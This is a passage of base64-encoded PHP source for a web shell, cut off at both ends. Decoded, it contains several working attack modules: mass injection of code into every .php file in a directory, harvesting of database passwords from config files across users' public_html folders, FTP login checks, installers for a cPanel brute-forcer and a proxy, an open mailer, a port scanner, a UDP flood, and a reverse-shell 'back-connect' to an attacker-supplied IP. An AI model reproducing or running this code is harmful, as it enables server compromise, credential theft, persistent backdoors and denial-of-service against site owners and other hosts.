G1sIikgYXMgJGluamVjdGowMCkgew0KCQkJJGZwPWZvcGVuKCRpbmplY3RqMDAsImErIik7DQoJCQlpZiAoZnB1dHMoJGZwLCRsb2xpbmplY3QpKXsNCgkJCQllY2hvICRpbmplY3RqMDAuJyB3YXMgaW5qZWN0ZWQ8YnI+JzsNCgkJCX0gZWxzZSB7DQoJCQkJZWNobyAnPGZvbnQgY29sb3I9cmVkPmZhaWxlZCB0byBpbmplY3QgJy4kaW5qZWN0ajAwLic8L2ZvbnQ+JzsNCgkJCX0NCgkJfQ0KCX0gZWxzZSB7IC8vZW5kIGlmIGlucHV0dGVkIGRpciBpcyByZWFsIC0tIGlmIG5vdCwgc2hvdyBhbiB1Z2x5IHJlZCBlcnJvcg0KCQllY2hvICc8Yj48Zm9udCBjb2xvcj1yZWQ+Jy4kX0dFVFsncGF0aHRvbWFzcyddLicgaXMgbm90IGF2YWlsYWJsZSE8L2ZvbnQ+PC9iPic7DQoJfSAvLyBlbmQgaWYgaW5wdXR0ZWQgZGlyIGlzIHJlYWwsIGZvciByZWFsIHRoaXMgdGltZQ0KfSAvLyBlbmQgaWYgY29uZmlybWF0aW9uIHRvIG1hc3Mgc3Bsb2l0IGlzIGdvDQoNCi8vbmV3IHBocCBiYWNrZG9vcg0KPz4NCjxiPk1hc3MgQ29kZSBJbmplY3Rpb246PC9iPjxicj48YnI+DQpVc2UgdGhpcyB0byBhZGQgUEhQIHRvIHRoZSBlbmQgb2YgZXZlcnkgLnBocCBwYWdlIGluIHRoZSBkaXJlY3Rvcnkgc3BlY2lmaWVkLjxicj48YnI+DQo8Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+IiBtZXRob2Q9R0VUPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Im1hc3NzcGxvaXQiIHZhbHVlPSJwaHAiPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ImFjdCIgdmFsdWU9Im1hc3Nicm93c2Vyc3Bsb2l0Ij4NCjx0YWJsZSBib3JkZXI9MD4NCjx0cj48dGQ+RGlyIHRvIGluamVjdDogPC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBzaXplPTUwIG5hbWU9InBhdGh0b21hc3MiIHZhbHVlPSI8P3BocCBlY2hvIHJlYWxwYXRoKCcuJyk7ID8+Ij4gPC0tIGRlZmF1bHQgaXMgZGlyIHRoaXMgc2hlbGwgaXMgaW48L3RkPjwvdHI+DQo8dHI+PHRkPkNvZGUgdG8gaW5qZWN0OiA8L3RkPjx0ZD48dGV4dGFyZWEgbmFtZT0iaW5qZWN0dGhpcyIgY29scz01MCByb3dzPTQ+PD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCc8P3BocCBpZiAoJF9HRVRbIngiXSA9PSAibHVsIikgeyAvKmNvZGUqLzsgfSA/PicpOyA/PjwvdGV4dGFyZWE+PC90ZD48L3RyPg0KPHRyPjx0ZD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkluamVjdCBDb2RlIj48L3RkPjwvdHI+DQo8L3RhYmxlPg0KPC9mb3JtPg0KPD9waHANCmlmICgkX0dFVFsnbWFzc3NwbG9pdCddID09ICdwaHAnKSB7DQoJaWYgKGlzX2RpcigkX0dFVFsncGF0aHRvbWFzcyddKSkgew0KCQkkbG9saW5qZWN0ID0gJF9HRVRbJ2luamVjdHRoaXMnXTsNCgkJZm9yZWFjaCAoZ2xvYigkX0dFVFsncGF0aHRvbWFzcyddLiIvKi5waHAiKSBhcyAkaW5qZWN0ajAwKSB7DQoJCQkkZnA9Zm9wZW4oJGluamVjdGowMCwiYSsiKTsNCgkJCWlmIChmcHV0cygkZnAsJGxvbGluamVjdCkpew0KCQkJCWVjaG8gJzxmb250IGNvbG9yPWdyZWVuPicuJGluamVjdGowMC4nIHdhcyBpbmplY3RlZDxicj48L2ZvbnQ+JzsNCgkJCX0gZWxzZSB7DQoJCQkJZWNobyAnPGZvbnQgY29sb3I9cmVkPmZhaWxlZCB0byBpbmplY3QgJy4kaW5qZWN0ajAwLic8L2ZvbnQ+JzsNCgkJCX0NCgkJfQ0KCX0gZWxzZSB7IC8vZW5kIGlmIGlucHV0dGVkIGRpciBpcyByZWFsIC0tIGlmIG5vdCwgc2hvdyBhbiB1Z2x5IHJlZCBlcnJvcg0KCQllY2hvICc8Yj48Zm9udCBjb2xvcj1yZWQ+Jy4kX0dFVFsncGF0aHRvbWFzcyddLicgaXMgbm90IGF2YWlsYWJsZSE8L2ZvbnQ+PC9iPic7DQoJfSAvLyBlbmQgaWYgaW5wdXR0ZWQgZGlyIGlzIHJlYWwsIGZvciByZWFsIHRoaXMgdGltZQ0KfSAvLyBlbmQgaWYgY29uZmlybWF0aW9uIHRvIG1hc3Mgc3Bsb2l0IGlzIHBocCBvbmx5DQoNCg0KfSAvLyBlbmQgaWYgbWFzc2Jyb3dzZXJzcGxvaXQgaXMgY2FsbGVkDQoNCg0KDQoNCg0KaWYgKCR4ID09ICdjcGFuZWwnKXsNCglpZiAoJF9HRVRbJ2dvJ10gPT0gJ2dvJyl7DQoJc2V0X3RpbWVfbGltaXQoMCk7DQoJIyMjIyMjIyMjIyMjIyMjIyMjDQoJQCRwYXNzd2Q9Zm9wZW4oJy9ldGMvcGFzc3dkJywncicpOw0KCWlmICghJHBhc3N3ZCkgew0KCSAgIGVjaG8gIlstXSBFcnJvciA6IGNvdWRuJ3QgcmVhZCAvZXRjL3Bhc3N3ZCI7DQoJICAgZXhpdDsNCgl9DQoJJHBhdGhfdG9fcHVibGljPWFycmF5KCk7DQoJJHVzZXJzPWFycmF5KCk7DQoJJHBhdGh0b2NvbmY9YXJyYXkoKTsNCgkkaT0wOw0KCQ0KCXdoaWxlKCFmZW9mKCRwYXNzd2QpKSB7DQoJICAkc3RyPWZnZXRzKCRwYXNzd2QpOw0KCSAgaWYgKCRpPjM1KSB7DQoJCSRwb3M9c3RycG9zKCRzdHIsIjoiKTsNCgkJJHVzZXJuYW1lPXN1YnN0cigkc3RyLDAsJHBvcyk7DQoJCSRkaXJ6PSIvaG9tZS8kdXNlcm5hbWUvcHVibGljX2h0bWwvIjsNCgkJaWYgKCgkdXNlcm5hbWUhPSIiKSkgew0KCQkJaWYgKGlzX3JlYWRhYmxlKCRkaXJ6KSkgew0KCQkJCWFycmF5X3B1c2goJHVzZXJzLCR1c2VybmFtZSk7DQoJCQkJYXJyYXlfcHVzaCgkcGF0aF90b19wdWJsaWMsJGRpcnopOw0KCQkJfQ0KCQl9DQoJICB9DQoJICAkaSsrOw0KCX0NCgkjIyMjIyMjIyMjIyMjIyMjIyMjDQoJDQoJIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KCWZ1bmN0aW9uIHJlYWRfZGlyKCRwYXRoLCR1c2VybmFtZSkgew0KCQlpZiAoJGhhbmRsZSA9IG9wZW5kaXIoJHBhdGgpKSB7DQoJCQl3aGlsZSAoZmFsc2UgIT09ICgkZmlsZSA9IHJlYWRkaXIoJGhhbmRsZSkpKSB7DQoJCQkJICAkZnBhdGg9IiRwYXRoJGZpbGUiOw0KCQkJCSAgaWYgKCgkZmlsZSE9Jy4nKSBhbmQgKCRmaWxlIT0nLi4nKSkgew0KCQkJCQkgaWYgKGlzX3JlYWRhYmxlKCRmcGF0aCkpIHsNCgkJCQkJCSRkcj0iJGZwYXRoLyI7DQoJCQkJCQlpZiAoaXNfZGlyKCRkcikpIHsNCgkJCQkJCSAgIHJlYWRfZGlyKCRkciwkdXNlcm5hbWUpOw0KCQkJCQkJfQ0KCQkJCQkJZWxzZSB7DQoJCQkJCQkJIGlmICgoJGZpbGU9PSdjb25maWcucGhwJykgb3IgKCRmaWxlPT0nY29uZmlnLmluYy5waHAnKSBvciAoJGZpbGU9PSdkYi5pbmMucGhwJykgb3IgKCRmaWxlPT0nY29ubmVjdC5waHAnKSBvciAoJGZpbGU9PSd3cC1jb25maWcucGhwJykgb3IgKCRmaWxlPT0ndmFyLnBocCcpIG9yICgkZmlsZT09J2NvbmZpZ3VyZS5waHAnKSBvciAoJGZpbGU9PSdkYi5waHAnKSBvciAoJGZpbGU9PSdkYl9jb25uZWN0LnBocCcpKSB7DQoJCQkJCQkJCSRwYXNzPWdldF9wYXNzKCRmcGF0aCk7DQoJCQkJCQkJCWlmICgkcGFzcyE9JycpIHsNCgkJCQkJCQkJICAgZWNobyAiWytdICRmcGF0aFxuJHBhc3NcbiI7DQoJCQkJCQkJCSAgIGZ0cF9jaGVjaygkdXNlcm5hbWUsJHBhc3MpOw0KCQkJCQkJCQl9DQoJCQkJCQkJIH0NCgkJCQkJCX0NCgkJCQkJIH0NCgkJCQkgIH0NCgkJCX0NCgkJfQ0KCX0NCgkNCglmdW5jdGlvbiBnZXRfcGFzcygkbGluaykgew0KCQlAJGNvbmZpZz1mb3BlbigkbGluaywncicpOw0KCQl3aGlsZSghZmVvZigkY29uZmlnKSkgew0KCQkJJGxpbmU9ZmdldHMoJGNvbmZpZyk7DQoJCQlpZiAoc3Ryc3RyKCRsaW5lLCdwYXNzJykgb3Igc3Ryc3RyKCRsaW5lLCdwYXNzd29yZCcpIG9yIHN0cnN0cigkbGluZSwncGFzc3dkJykpIHsNCgkJCQlpZiAoc3RycnBvcygkbGluZSwnIicpKQ0KCQkJCSAgICRwYXNzPXN1YnN0cigkbGluZSwoc3RycG9zKCRsaW5lLCc9JykrMyksKHN0cnJwb3MoJGxpbmUsJyInKS0oc3RycG9zKCRsaW5lLCc9JykrMykpKTsNCgkJCQllbHNlDQoJCQkJICAgJHBhc3M9c3Vic3RyKCRsaW5lLChzdHJwb3MoJGxpbmUsJz0nKSszKSwoc3RycnBvcygkbGluZSwiJyIpLShzdHJwb3MoJGxpbmUsJz0nKSszKSkpOw0KCQkJCXJldHVybiAkcGFzczsNCgkJCX0NCgkJfQ0KCX0NCgkNCglmdW5jdGlvbiBmdHBfY2hlY2soJGxvZ2luLCRwYXNzKSB7DQoJCSBAJGZ0cD1mdHBfY29ubmVjdCgnMTI3LjAuMC4xJyk7DQoJCSBpZiAoJGZ0cCkgew0KCQkJQCRyZXM9ZnRwX2xvZ2luKCRmdHAsJGxvZ2luLCRwYXNzKTsNCgkJCWlmICgkcmVzKSB7DQoJCQkgICBlY2hvICdbY1BhbmVsIEZvdW5kXSAnLiRsb2dpbi4nOicuJHBhc3MuIiAgU3VjY2Vzc1xuIjsNCgkJCX0NCgkJCWVsc2UgZnRwX3F1aXQoJGZ0cCk7DQoJCSB9DQoJfQ0KCQ0KCWVjaG8gIjxicj48YnI+IjsNCgllY2hvICI8dGV4dGFyZWEgbmFtZT0nbWFpbl93aW5kb3cnIGNvbHM9MTAwIHJvd3M9MjA+IjsNCgkNCgllY2hvICJbK10gRm91bmQgIi5zaXplb2YoJHVzZXJzKS4iIGVudHJ5cyBpbiAvZXRjL3Bhc3N3ZFxuIjsNCgllY2hvICJbK10gRm91bmQgIi5zaXplb2YoJHBhdGhfdG9fcHVibGljKS4iIHJlYWRhYmxlIHB1YmxpY19odG1sIGRpcmVjdG9yaWVzXG4iOw0KCQ0KCWVjaG8gIlt+XSBTZWFyY2hpbmcgZm9yIHBhc3N3b3JkcyBpbiBjb25maWcuKiBmaWxlcy4uLlxuXG4iOw0KCWZvcmVhY2ggKCR1c2VycyBhcyAkdXNlcikgew0KCQkJJHBhdGg9Ii9ob21lLyR1c2VyL3B1YmxpY19odG1sLyI7DQoJCQlyZWFkX2RpcigkcGF0aCwkdXNlcik7DQoJfQ0KCQ0KCWVjaG8gIlxuWytdIERvbmVcbiI7DQoJDQoJZWNobyAiPC90ZXh0YXJlYT48YnI+IjsNCgl9ZWxzZQ0KCWVjaG8gJzxjZW50ZXI+QXJlIHlvdSBzdXJlIHlvdSB3b3VsZCBsaWtlIHRvIHNlYXJjaCBmb3IgY1BhbmVsIGFjY291bnRzIG9uIHRoaXMgd2Vic2l0ZS9zZXJ2ZXI/PGJyPlBsZWFzZSBub3RlIHRoaXMgbWF5IHRha2UgYSBsb25nIHRpbWUgdG8gZXhlY3V0ZSBkZXBlbmRpbmcgb24gdGhlIHdlYnNpdGUvc2VydmVyIGl0IGlzIHJ1biBvbi48YnI+PGJyPjxhIGhyZWY9IicuJHN1cmwuJ3g9Y3BhbmVsJmdvPWdvIj5ZZXM8L2E+IHx8IDxhIGhyZWY9IicuJHN1cmwuJyI+Tm88L2E+PC9jZW50ZXI+JzsNCn0NCg0KaWYgKCR4ID09ICdmaScpew0KPz4NCjxiPkNwYW5lbCBCcnV0ZUZvcmNlIFNjcmlwdDwvYj48YnI+DQo8Zm9ybSBhY3Rpb249PD9waHAgZWNobyAkc3VybDsgPz4gbWV0aG9kPUdFVD4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJ4IiB2YWx1ZT0iZmkiPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Imluc3RhbGwiIHZhbHVlPSJ5dXAiPg0KUGF0aCB0byBpbnN0YWxsIGluOiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9InBhdGgiIHZhbHVlPSI8P3BocCBlY2hvICRkOyA/PiI+IChtdXN0IGhhdmUgZmluYWwgLyk8YnI+DQo8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ikluc3RhbGwiPjwvZm9ybT4NCjw/cGhwDQoJCWlmICgkX0dFVFsnaW5zdGFsbCddID09ICd5dXAnKSB7DQoJCQlpZiAoaXNfd3JpdGFibGUoJF9HRVRbJ3BhdGgnXSkpIHsNCgkJCQljZigkX0dFVFsncGF0aCddLidjcC5waHAnLCAkZmkpOw0KCQkJCWVjaG8gJzxmb250IGNvbG9yPWdyZWVuPjxiPmNwLnBocCB3YXMgY3JlYXRlZCBpbiAnLmh0bWxlbnRpdGllcygkX0dFVFsncGF0aCddKS4nPC9iPjwvZm9udD4nOw0KCQkJCWNobW9kKCRfR0VUWydwYXRoJ10uJy9jcC5waHAnLCAwNzc1KTsNCgkJCQllY2hvICc8YnIgLz5UbyBleGVjdXRlLCBicm93c2UgdG8gdGhlIHBhZ2UgZXg6IGh0dHA6Ly9zaXRlLmNvbS9jcC5waHAnOw0KCQkJfWVsc2V7DQoJCQkJZWNobyAnPGZvbnQgY29sb3I9cmVkPjxiPkRpcmVjdG9yeSBpcyBub3Qgd3JpdGFibGUhPC9iPjxicj48L2ZvbnQ+JzsNCgkJCX0NCgkJfQ0KfQ0KDQppZiAoJHggPT0gJ3BocHByb3h5Jyl7DQo/Pg0KPGI+SW5zdGFsbCBQSFAgQmFzZWQgUHJveHk8L2I+PGJyPg0KPGZvcm0gYWN0aW9uPTw/cGhwIGVjaG8gJHN1cmw7ID8+IG1ldGhvZD1HRVQ+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0ieCIgdmFsdWU9InBocHByb3h5Ij4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJpbnN0YWxsIiB2YWx1ZT0ieXVwIj4NClBhdGggdG8gaW5zdGFsbCBpbjogPGlucHV0IHR5cGU9dGV4dCBuYW1lPSJwYXRoIiB2YWx1ZT0iPD9waHAgZWNobyAkZDsgPz4iPiAobXVzdCBoYXZlIGZpbmFsIC8pPGJyPg0KPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJJbnN0YWxsIj48L2Zvcm0+DQo8P3BocA0KCQlpZiAoJF9HRVRbJ2luc3RhbGwnXSA9PSAneXVwJykgew0KCQkJaWYgKGlzX3dyaXRhYmxlKCRfR0VUWydwYXRoJ10pKSB7DQoJCQkJY2YoJF9HRVRbJ3BhdGgnXS4ncHJveHkucGhwJywgJHBocHByb3h5KTsNCgkJCQllY2hvICc8Zm9udCBjb2xvcj1ncmVlbj48Yj5wcm94eS5waHAgd2FzIGNyZWF0ZWQgaW4gJy5odG1sZW50aXRpZXMoJF9HRVRbJ3BhdGgnXSkuJzwvYj48L2ZvbnQ+JzsNCgkJCQljaG1vZCgkX0dFVFsncGF0aCddLicvcHJveHkucGhwJywgMDc3Nyk7DQoJCQl9ZWxzZXsNCgkJCQllY2hvICc8Zm9udCBjb2xvcj1yZWQ+PGI+RGlyZWN0b3J5IGlzIG5vdCB3cml0YWJsZSE8L2I+PGJyPjwvZm9udD4nOw0KCQkJfQ0KCQl9DQp9DQoNCg0KaWYgKCR4ID09ICdwaHB0b29scycpew0KPz48Y2VudGVyPjw/cGhwDQovL21haWxlcg0KZWNobyAnPGI+TWFpbGVyPC9iPjxicj4NCjxmb3JtIGFjdGlvbj0iJy4kc3VybC4nIiBtZXRob2Q9R0VUPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0IiB2YWx1ZT0icGhwdG9vbHMiPg0KPGlucHV0IHR5cGU9dGV4dCBuYW1lPXRvIHZhbHVlPXRvPjxicj4NCjxpbnB1dCB0eXBlPXRleHQgbmFtZT1mcm9tIHZhbHVlPWZyb20+PGJyPg0KPGlucHV0IHR5cGU9dGV4dCBuYW1lPXN1YmplY3QgdmFsdWU9c3ViamVjdD48YnI+DQo8aW5wdXQgdHlwZT10ZXh0IG5hbWU9Ym9keSB2YWx1ZT1ib2R5Pjxicj4NCjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1TdWJtaXQ+PC9mb3JtPic7DQppZiAoaXNzZXQoJF9HRVRbJ3RvJ10pICYmIGlzc2V0KCRfR0VUWydmcm9tJ10pICYmIGlzc2V0KCRfR0VUWydzdWJqZWN0J10pICYmIGlzc2V0KCRfR0VUWydib2R5J10pKSB7DQoJJGhlYWRlcnMgPSAnRnJvbTogJy4kX0dFVFsnZnJvbSddOw0KCW1haWwgKCRfR0VUWyd0byddLCRfR0VUWydzdWJqZWN0J10sJF9HRVRbJ2JvZHknXSwkaGVhZGVycyk7DQoJZWNobyAnRW1haWwgc2VudC4nOw0KfQ0KDQovL3BvcnQgc2Nhbm5lcg0KZWNobyAnPGJyPjxiPlBvcnQgU2Nhbm5lcjwvYj48YnI+JzsNCiRzdGFydCA9IHN0cmlwX3RhZ3MoJF9HRVRbJ3N0YXJ0J10pOw0KJGVuZCA9IHN0cmlwX3RhZ3MoJF9HRVRbJ2VuZCddKTsNCiRob3N0ID0gc3RyaXBfdGFncygkX0dFVFsnaG9zdCddKTsNCg0KaWYoaXNzZXQoJF9HRVRbJ2hvc3QnXSkgJiYgaXNfbnVtZXJpYygkX0dFVFsnZW5kJ10pICYmIGlzX251bWVyaWMoJF9HRVRbJ3N0YXJ0J10pKXsNCmZvcigkaSA9ICRzdGFydDsgJGk8PSRlbmQ7ICRpKyspew0KCSRmcCA9IEBmc29ja29wZW4oJGhvc3QsICRpLCAkZXJybm8sICRlcnJzdHIsIDMpOw0KCWlmKCRmcCl7DQoJCWVjaG8gJ1BvcnQgJy4kaS4nIGlzIDxmb250IGNvbG9yPWdyZWVuPm9wZW48L2ZvbnQ+PGJyPic7DQoJfQ0KCWZsdXNoKCk7DQoJfQ0KfWVsc2V7DQo/Pg0KPGZvcm0gYWN0aW9uPSI/IiBtZXRob2Q9ImdldCI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ4IiB2YWx1ZT0icGhwdG9vbHMiPg0KSG9zdDo8YnIgLz4NCjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJob3N0IiB2YWx1ZT0ibG9jYWxob3N0Ii8+PGJyIC8+DQpQb3J0IHN0YXJ0OjxiciAvPg0KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InN0YXJ0IiB2YWx1ZT0iMCIvPjxiciAvPg0KUG9ydCBlbmQ6PGJyIC8+DQo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZW5kIiB2YWx1ZT0iNTAwMCIvPjxiciAvPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlNjYW4gUG9ydHMiIC8+DQo8L2Zvcm0+DQo8P3BocA0KfQ0KDQovL1VEUA0KaWYoaXNzZXQoJF9HRVRbJ2hvc3QnXSkmJmlzX251bWVyaWMoJF9HRVRbJ3RpbWUnXSkpew0KCSRwYWtpdHMgPSAwOw0KCWlnbm9yZV91c2VyX2Fib3J0KFRSVUUpOw0KCXNldF90aW1lX2xpbWl0KDApOw0KCQ0KCSRleGVjX3RpbWUgPSAkX0dFVFsndGltZSddOw0KCQ0KCSR0aW1lID0gdGltZSgpOw0KCS8vcHJpbnQgIlN0YXJ0ZWQ6ICIudGltZSgnaDppOnMnKS4iPGJyPiI7DQoJJG1heF90aW1lID0gJHRpbWUrJGV4ZWNfdGltZTsNCg0KCSRob3N0ID0gJF9HRVRbJ2hvc3QnXTsNCgkNCglmb3IoJGk9MDskaTw2NTAwMDskaSsrKXsNCgkJCSRvdXQgLj0gJ1gnOw0KCX0NCgl3aGlsZSgxKXsNCgkkcGFraXRzKys7DQoJCQlpZih0aW1lKCkgPiAkbWF4X3RpbWUpew0KCQkJCQlicmVhazsNCgkJCX0NCgkJCSRyYW5kID0gcmFuZCgxLDY1MDAwKTsNCgkJCSRmcCA9IGZzb2Nrb3BlbigndWRwOi8vJy4kaG9zdCwgJHJhbmQsICRlcnJubywgJGVycnN0ciwgNSk7DQoJCQlpZigkZnApew0KCQkJCQlmd3JpdGUoJGZwLCAkb3V0KTsNCgkJCQkJZmNsb3NlKCRmcCk7DQoJCQl9DQoJfQ0KCWVjaG8gIjxicj48Yj5VRFAgRmxvb2Q8L2I+PGJyPkNvbXBsZXRlZCB3aXRoICRwYWtpdHMgKCIgLiByb3VuZCgoJHBha2l0cyo2NSkvMTAyNCwgMikgLiAiIE1CKSBwYWNrZXRzIGF2ZXJhZ2luZyAiLiByb3VuZCgkcGFraXRzLyRleGVjX3RpbWUsIDIpIC4gIiBwYWNrZXRzIHBlciBzZWNvbmQgXG4iOw0KCWVjaG8gJzxicj48YnI+DQoJCTxmb3JtIGFjdGlvbj0iJy4kc3VybC4nIiBtZXRob2Q9R0VUPg0KCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ4IiB2YWx1ZT0icGhwdG9vbHMiPg0KCQlIb3N0OiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9aG9zdCB2YWx1ZT1sb2NhbGhvc3Q+DQoJCUxlbmd0aCAoc2Vjb25kcyk6IDxpbnB1dCB0eXBlPXRleHQgbmFtZT10aW1lIHZhbHVlPTk5OTk+DQoJCTxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1Hbz48L2Zvcm0+JzsNCn1lbHNleyBlY2hvICc8YnI+PGI+VURQIEZsb29kPC9iPjxicj4NCgkJCTxmb3JtIGFjdGlvbj0/IG1ldGhvZD1HRVQ+DQoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ4IiB2YWx1ZT0icGhwdG9vbHMiPg0KCQkJSG9zdDogPGJyPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1ob3N0IHZhbHVlPWxvY2FsaG9zdD48YnI+DQoJCQlMZW5ndGggKHNlY29uZHMpOiA8YnI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXRpbWUgdmFsdWU9OTk5OT48YnI+DQoJCQk8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9R28+PC9mb3JtPic7DQp9DQo/PjwvY2VudGVyPjw/cGhwDQp9DQoNCg0KDQoNCmlmICgkeCA9PSAiZCIpIHsNCmlmICghaXNfZGlyKCRkKSkgeyBlY2hvICI8Y2VudGVyPjxiPiRkIGlzIGEgbm90IGEgRGlyZWN0b3J5ITwvYj48L2NlbnRlcj4iOyB9DQplbHNlIHsNCiAgZWNobyAiPGI+RGlyZWN0b3J5IGluZm9ybWF0aW9uOjwvYj48dGFibGUgYm9yZGVyPTAgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz0yPiI7DQogIGlmICghJHdpbikgew0KICAgZWNobyAiPHRyPjx0ZD48Yj5Pd25lci9Hcm91cDwvYj48L3RkPjx0ZD4gIjsNCiAgICRvdyA9IHBvc2l4X2dldHB3dWlkKGZpbGVvd25lcigkZCkpOw0KICAgJGdyID0gcG9zaXhfZ2V0Z3JnaWQoZmlsZWdyb3VwKCRkKSk7DQogICAkcm93W10gPSAoJG93WyJuYW1lIl0/JG93WyJuYW1lIl06ZmlsZW93bmVyKCRkKSkuIi8iLigkZ3JbIm5hbWUiXT8kZ3JbIm5hbWUiXTpmaWxlZ3JvdXAoJGQpKTsNCiAgfQ0KICBlY2hvICI8dHI+PHRkPjxiPlBlcm1zPC9iPjwvdGQ+PHRkPjxhIGhyZWY9XCIiLiRzdXJsLiJ4PWNobW9kJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj48Yj4iLnZpZXdfcGVybXNfY29sb3IoJGQpLiI8L2I+PC9hPjx0cj48dGQ+PGI+Q3JlYXRlIHRpbWU8L2I+PC90ZD48dGQ+ICIuZGF0ZSgiZC9tL1kgSDppOnMiLGZpbGVjdGltZSgkZCkpLiI8L3RkPjwvdHI+PHRyPjx0ZD48Yj5BY2Nlc3MgdGltZTwvYj48L3RkPjx0ZD4gIi5kYXRlKCJkL20vWSBIOmk6cyIsZmlsZWF0aW1lKCRkKSkuIjwvdGQ+PC90cj48dHI+PHRkPjxiPk1PRElGWSB0aW1lPC9iPjwvdGQ+PHRkPiAiLmRhdGUoImQvbS9ZIEg6aTpzIixmaWxlbXRpbWUoJGQpKS4iPC90ZD48L3RyPjwvdGFibGU+IjsNCn0NCn0NCg0KDQoNCmlmICgkeCA9PSAncGhwYmFjaycpIHsNCmVjaG8gIg0KPGI+VXNhZ2U6PC9iPiBuYyAtdnYgLWwgLXAgMjE8YnI+DQo8aHI+DQo8Zm9ybSBtZXRob2Q9J1BPU1QnIGFjdGlvbj0nJz48YnI+DQpZb3VyIElQICYgUG9ydDo8YnI+DQo8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0naXBpbScgc2l6ZT0nMTUnIHZhbHVlPScnPg0KPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3BvcnR1bScgc2l6ZT0nNScgdmFsdWU9JzIxJz48YnI+PGJyPg0KPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0Nvbm5lY3QnPjxicj48YnI+DQo8aHI+DQo8L2Zvcm0+IjsNCg0KJGlwaW09JF9QT1NUWydpcGltJ107DQokcG9ydHVtPSRfUE9TVFsncG9ydHVtJ107DQppZiAoJGlwaW0gPD4gIiIpDQp7DQokbXVjeD1mc29ja29wZW4oJGlwaW0gLCAkcG9ydHVtICwgJGVycm5vLCAkZXJyc3RyICk7DQppZiAoISRtdWN4KXsNCiRyZXN1bHQgPSAiRXJyb3I6IGRpZG50IGNvbm5lY3QgISEhIjsNCn0NCmVsc2Ugew0KDQokemFtYXppbmcwPSJcbiI7DQoNCmZwdXRzICgkbXVjeCAsIlxuV2VsY29tZSBQSFB8QmFDSyBDb25uZWN0XG5cbiIpOw0KZnB1dHMoJG11Y3ggLCBzeXN0ZW0oInVuYW1lIC1hIikgLiR6YW1hemluZzAgKTsNCmZwdXRzKCRtdWN4ICwgc3lzdGVtKCJwd2QiKSAuJHphbWF6aW5nMCApOw0KZnB1dHMoJG11Y3ggLCBzeXN0ZW0oImlkIikgLiR6YW1hemluZzAuJHphbWF6aW5nMCApOw0Kd2hpbGUoIWZlb2YoJG11Y3gpKXsNCmZwdXRzICgkbXVjeCk7DQokb25lPSJbJCI7DQokdHdvPSJdIjsNCiRyZXN1bHQ9IGZnZXRzICgkbXVjeCwgODE5Mik7DQokbWVzc2FnZT1gJHJlc3VsdGA7DQpmcHV0cyAoJG11Y3gsICRvbmUuIHN5c3RlbSgid2hvYW1pIikgLiR0d28uICIgIiAuJG1lc3NhZ2UuIlxuIik7DQp9DQpmY2xvc2UgKCRtdWN4KTsNCn0NCn0NCn0NCg0KDQoNCmlmICgkeCA9PSAnZmluZHdyJykgew0KDQokY291bnQ9MDsNCnNldF90aW1lX2xpbWl0KDApOw0KQCRwYXNzd2Q9Zm9wZW4oJy9ldGMvcGFzc3dkJywncicpOw0KaWYgKCEkcGFzc3dkKSB7DQogICBlY2hvICJbLV0gTm8gQWNjZXNzIHRvIC9ldGMvcGFzc3dkXG5cciI7DQogICBleGl0Ow0KfQ0KJHBhdGhfdG9fcHVibGljPWFycmF5KCk7DQoNCmVjaG8gIjxodG1sPlxuXHIiOw0KDQp3aGlsZSghZmVvZigkcGFzc3dkKSkgew0KICAkc3RyPWZnZXRzKCRwYXNzd2QpOw0KICAgICRwb3M9c3RycG9zKCRzdHIsIjoiKTsNCiAgICAkdXNlcm5hbWU9c3Vic3RyKCRzdHIsMCwkcG9zKTsNCiAgICAkZGlyej0iL2hvbWUvJHVzZXJuYW1lL3B1YmxpY19odG1sLyI7DQogICAgaWYgKCgkdXNlcm5hbWUhPSIiKSkgew0KICAgICAgICBpZiAoaXNfcmVhZGFibGUoJGRpcnopKSB7DQogICAgICAgICBhcnJheV9wdXNoKCRwYXRoX3RvX3B1YmxpYywkZGlyeik7DQogICAgICAgICBpZiAoaXNfd3JpdGVhYmxlKCRkaXJ6KSkgew0KICAgICAgICAgICAgJGNvdW50Kys7DQogICAgICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj1yZWQ+WzwvZm9udD48Zm9udCBjb2xvcj13aGl0ZT5SPC9mb250Pjxmb250IGNvbG9yPWdyZWVuPlc8L2ZvbnQ+PGZvbnQgY29sb3I9cmVkPl08L2ZvbnQ+ICIgLiAkZGlyeiAuICI8YnI+XG5cciI7DQogICAgICAgICB9DQogICAgICAgICBlbHNlIGVjaG8gIjxmb250IGNvbG9yPXJlZD5bPC9mb250Pjxmb250IGNvbG9yPXdoaXRlPlI8